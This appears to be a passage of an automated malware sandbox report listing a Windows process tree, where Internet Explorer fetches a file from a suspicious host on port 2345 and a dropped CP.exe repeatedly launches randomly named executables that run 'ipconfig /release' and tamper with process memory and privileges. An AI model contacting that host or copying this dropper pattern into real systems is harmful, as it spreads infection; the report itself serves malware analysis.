  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3624,i,4111009150991345442,571498432127352810,2097152 --field-trial-handle=2344,i,120122999833799246,10355039877213666179,262144 --variations-seed-version --mojo-platform-channel-handle=3640 /prefetch:1
      4⤵
      PID:1636
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3660,i,16529574061165911889,17417788723236396695,2097152 --field-trial-handle=2344,i,120122999833799246,10355039877213666179,262144 --variations-seed-version --mojo-platform-channel-handle=3720 /prefetch:1
      4⤵
      PID:3640
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4280,i,7888031674378168222,4580434795479990580,2097152 --field-trial-handle=2344,i,120122999833799246,10355039877213666179,262144 --variations-seed-version --mojo-platform-channel-handle=4988 /prefetch:1
      4⤵
      PID:5896
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4296,i,4496139248004485010,14051568352107925572,2097152 --field-trial-handle=2344,i,120122999833799246,10355039877213666179,262144 --variations-seed-version --mojo-platform-channel-handle=5004 /prefetch:9
      4⤵
      PID:5828
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5368,i,5349260071696496087,7700748221772007549,524288 --field-trial-handle=2344,i,120122999833799246,10355039877213666179,262144 --variations-seed-version --mojo-platform-channel-handle=5432 /prefetch:14
      4⤵
      PID:3168
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5476,i,16475720330181614306,8555926992503833949,524288 --field-trial-handle=2344,i,120122999833799246,10355039877213666179,262144 --variations-seed-version --mojo-platform-channel-handle=5472 /prefetch:14
      4⤵
      PID:5948
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5428,i,9793345252688654300,12605503550650705715,524288 --field-trial-handle=2344,i,120122999833799246,10355039877213666179,262144 --variations-seed-version --mojo-platform-channel-handle=5456 /prefetch:14
      4⤵
      PID:2904
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6152,i,4222609855760241620,15529912612262298911,524288 --field-trial-handle=2344,i,120122999833799246,10355039877213666179,262144 --variations-seed-version --mojo-platform-channel-handle=6160 /prefetch:14
      4⤵
      PID:2144
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6152,i,4222609855760241620,15529912612262298911,524288 --field-trial-handle=2344,i,120122999833799246,10355039877213666179,262144 --variations-seed-version --mojo-platform-channel-handle=6160 /prefetch:14
      4⤵
      PID:1952
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6324,i,2978056869977000154,16597999105398495777,524288 --field-trial-handle=2344,i,120122999833799246,10355039877213666179,262144 --variations-seed-version --mojo-platform-channel-handle=6344 /prefetch:14
      4⤵
      PID:4836
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6468,i,13852888427311202485,629178018273038636,524288 --field-trial-handle=2344,i,120122999833799246,10355039877213666179,262144 --variations-seed-version --mojo-platform-channel-handle=6480 /prefetch:14
      4⤵
      PID:2596
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5396,i,9135891242317345789,998078056615576565,524288 --field-trial-handle=2344,i,120122999833799246,10355039877213666179,262144 --variations-seed-version --mojo-platform-channel-handle=3688 /prefetch:14
      4⤵
      PID:2040
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5392,i,9616723094075112671,16204294010496699406,524288 --field-trial-handle=2344,i,120122999833799246,10355039877213666179,262144 --variations-seed-version --mojo-platform-channel-handle=5240 /prefetch:14
      4⤵
      PID:5516
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5348,i,1246486210166749500,9057738032822330053,524288 --field-trial-handle=2344,i,120122999833799246,10355039877213666179,262144 --variations-seed-version --mojo-platform-channel-handle=5256 /prefetch:14
      4⤵
      PID:2492
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5712,i,7714249931276233462,1664931957405196611,524288 --field-trial-handle=2344,i,120122999833799246,10355039877213666179,262144 --variations-seed-version --mojo-platform-channel-handle=3800 /prefetch:14
      4⤵
      PID:3064
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6112,i,5294697696214312439,9586445296266521458,524288 --field-trial-handle=2344,i,120122999833799246,10355039877213666179,262144 --variations-seed-version --mojo-platform-channel-handle=5688 /prefetch:14
      4⤵
      PID:1044
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5684,i,1266274205476554913,9314217893130609297,524288 --field-trial-handle=2344,i,120122999833799246,10355039877213666179,262144 --variations-seed-version --mojo-platform-channel-handle=5508 /prefetch:14
      4⤵
      PID:1556
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5348,i,12363912892533506453,13930284015913885473,524288 --field-trial-handle=2344,i,120122999833799246,10355039877213666179,262144 --variations-seed-version --mojo-platform-channel-handle=3420 /prefetch:14
      4⤵
      PID:2452
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6652,i,5737316012327305748,17572450391743344833,262144 --field-trial-handle=2344,i,120122999833799246,10355039877213666179,262144 --variations-seed-version --mojo-platform-channel-handle=6636 /prefetch:10
      4⤵
      PID:4788
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=896,i,10616149826287250957,1343375684826152257,524288 --field-trial-handle=2344,i,120122999833799246,10355039877213666179,262144 --variations-seed-version --mojo-platform-channel-handle=5716 /prefetch:14
      4⤵
      PID:1292
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6024,i,9242862992864555119,16160445128342197856,524288 --field-trial-handle=2344,i,120122999833799246,10355039877213666179,262144 --variations-seed-version --mojo-platform-channel-handle=3400 /prefetch:14
      4⤵
      PID:5996
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/ll/out.txt
  2⤵
  - Modifies Internet Explorer settings
  PID:4424
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\snlfdxvqni.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5888
- - C:\Temp\snlfdxvqni.exe
    C:\Temp\snlfdxvqni.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1520
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3436
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4932
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_snlfdxvqni.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1184
- - C:\Temp\i_snlfdxvqni.exe
    C:\Temp\i_snlfdxvqni.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3152
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\pnhfdxvpnh.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2880
- - C:\Temp\pnhfdxvpnh.exe
    C:\Temp\pnhfdxvpnh.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:256
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3016
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3412
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_pnhfdxvpnh.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4144
- - C:\Temp\i_pnhfdxvpnh.exe
    C:\Temp\i_pnhfdxvpnh.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3028
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ecwusmkecw.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5252
- - C:\Temp\ecwusmkecw.exe
    C:\Temp\ecwusmkecw.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1128
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4528
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1768
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ecwusmkecw.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3784
- - C:\Temp\i_ecwusmkecw.exe
    C:\Temp\i_ecwusmkecw.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2012
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\hfzxrpjhcz.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2024
- - C:\Temp\hfzxrpjhcz.exe
    C:\Temp\hfzxrpjhcz.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4628
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3120
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2868
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_hfzxrpjhcz.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2620
- - C:\Temp\i_hfzxrpjhcz.exe
    C:\Temp\i_hfzxrpjhcz.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2848
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\bztrpjgeyw.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5844
- - C:\Temp\bztrpjgeyw.exe
    C:\Temp\bztrpjgeyw.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4748
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5920
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5364
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_bztrpjgeyw.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5564
- - C:\Temp\i_bztrpjgeyw.exe
    C:\Temp\i_bztrpjgeyw.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5036
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\bywqojgbzt.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3860
- - C:\Temp\bywqojgbzt.exe
    C:\Temp\bywqojgbzt.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4240
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3028
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1044
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_bywqojgbzt.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3768
- - C:\Temp\i_bywqojgbzt.exe
    C:\Temp\i_bywqojgbzt.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:760
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\gbytjdbvtn.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5860
- - C:\Temp\gbytjdbvtn.exe
    C:\Temp\gbytjdbvtn.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2708
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2488
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3344
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_gbytjdbvtn.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2456
- - C:\Temp\i_gbytjdbvtn.exe
    C:\Temp\i_gbytjdbvtn.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4560
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\bvtnlfdyvq.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1064
- - C:\Temp\bvtnlfdyvq.exe
    C:\Temp\bvtnlfdyvq.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4424
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5520
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5344
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_bvtnlfdyvq.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4480
- - C:\Temp\i_bvtnlfdyvq.exe
    C:\Temp\i_bvtnlfdyvq.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2040
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\avsnkidavs.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5456
- - C:\Temp\avsnkidavs.exe
    C:\Temp\avsnkidavs.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4924
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1188
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2988
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_avsnkidavs.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4892
- - C:\Temp\i_avsnkidavs.exe
    C:\Temp\i_avsnkidavs.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3060
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\pkicausnkf.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5932
- - C:\Temp\pkicausnkf.exe
    C:\Temp\pkicausnkf.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2480
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1828
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1664
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_pkicausnkf.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3268
- - C:\Temp\i_pkicausnkf.exe
    C:\Temp\i_pkicausnkf.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3828
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\xvpnhfzxsp.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1420
- - C:\Temp\xvpnhfzxsp.exe
    C:\Temp\xvpnhfzxsp.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2868
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2712
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2396
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_xvpnhfzxsp.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1652
- - C:\Temp\i_xvpnhfzxsp.exe
    C:\Temp\i_xvpnhfzxsp.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2820
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\rpjhecxupn.exe ups_run
  2⤵
  PID:3052
- - C:\Temp\rpjhecxupn.exe
    C:\Temp\rpjhecxupn.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3868
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:6044
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3540
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_rpjhecxupn.exe ups_ins
  2⤵
  PID:3796
- - C:\Temp\i_rpjhecxupn.exe
    C:\Temp\i_rpjhecxupn.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3384
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\urmjecwuom.exe ups_run
  2⤵
  PID:5972
- - C:\Temp\urmjecwuom.exe
    C:\Temp\urmjecwuom.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5328
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:2800
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2768
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_urmjecwuom.exe ups_ins
  2⤵
  PID:2352
- - C:\Temp\i_urmjecwuom.exe
    C:\Temp\i_urmjecwuom.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4372
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\rojgeywrom.exe ups_run
  2⤵
  PID:5348
- - C:\Temp\rojgeywrom.exe
    C:\Temp\rojgeywrom.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1208
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:5984
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1136
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_rojgeywrom.exe ups_ins
  2⤵
  PID:3328
- - C:\Temp\i_rojgeywrom.exe
    C:\Temp\i_rojgeywrom.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4120
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\bywqoljebw.exe ups_run
  2⤵
  PID:2560
- - C:\Temp\bywqoljebw.exe
    C:\Temp\bywqoljebw.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2640
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:5560
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4460
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_bywqoljebw.exe ups_ins
  2⤵
  PID:4412
- - C:\Temp\i_bywqoljebw.exe
    C:\Temp\i_bywqoljebw.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3384
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\wqoigbytrl.exe ups_run
  2⤵
  PID:3000
- - C:\Temp\wqoigbytrl.exe
    C:\Temp\wqoigbytrl.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3828
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:5360
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2768
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_wqoigbytrl.exe ups_ins
  2⤵
  PID:1580
- - C:\Temp\i_wqoigbytrl.exe
    C:\Temp\i_wqoigbytrl.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4476
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\igaysqlidb.exe ups_run
  2⤵
  PID:1228
- - C:\Temp\igaysqlidb.exe
    C:\Temp\igaysqlidb.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5460
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3048
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2892
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_igaysqlidb.exe ups_ins
  2⤵
  PID:3480
- - C:\Temp\i_igaysqlidb.exe
    C:\Temp\i_igaysqlidb.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:240
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\faxsqkicau.exe ups_run
  2⤵
  PID:5676
- - C:\Temp\faxsqkicau.exe
    C:\Temp\faxsqkicau.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2596
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3192
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4920
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_faxsqkicau.exe ups_ins
  2⤵
  PID:1120
- - C:\Temp\i_faxsqkicau.exe
    C:\Temp\i_faxsqkicau.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4932
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ifaxvpnkiu.exe ups_run
  2⤵
  PID:4300
- - C:\Temp\ifaxvpnkiu.exe
    C:\Temp\ifaxvpnkiu.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2504
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3776
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2416
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ifaxvpnkiu.exe ups_ins
  2⤵
  PID:1880
- - C:\Temp\i_ifaxvpnkiu.exe
    C:\Temp\i_ifaxvpnkiu.exe ups_ins
    3⤵
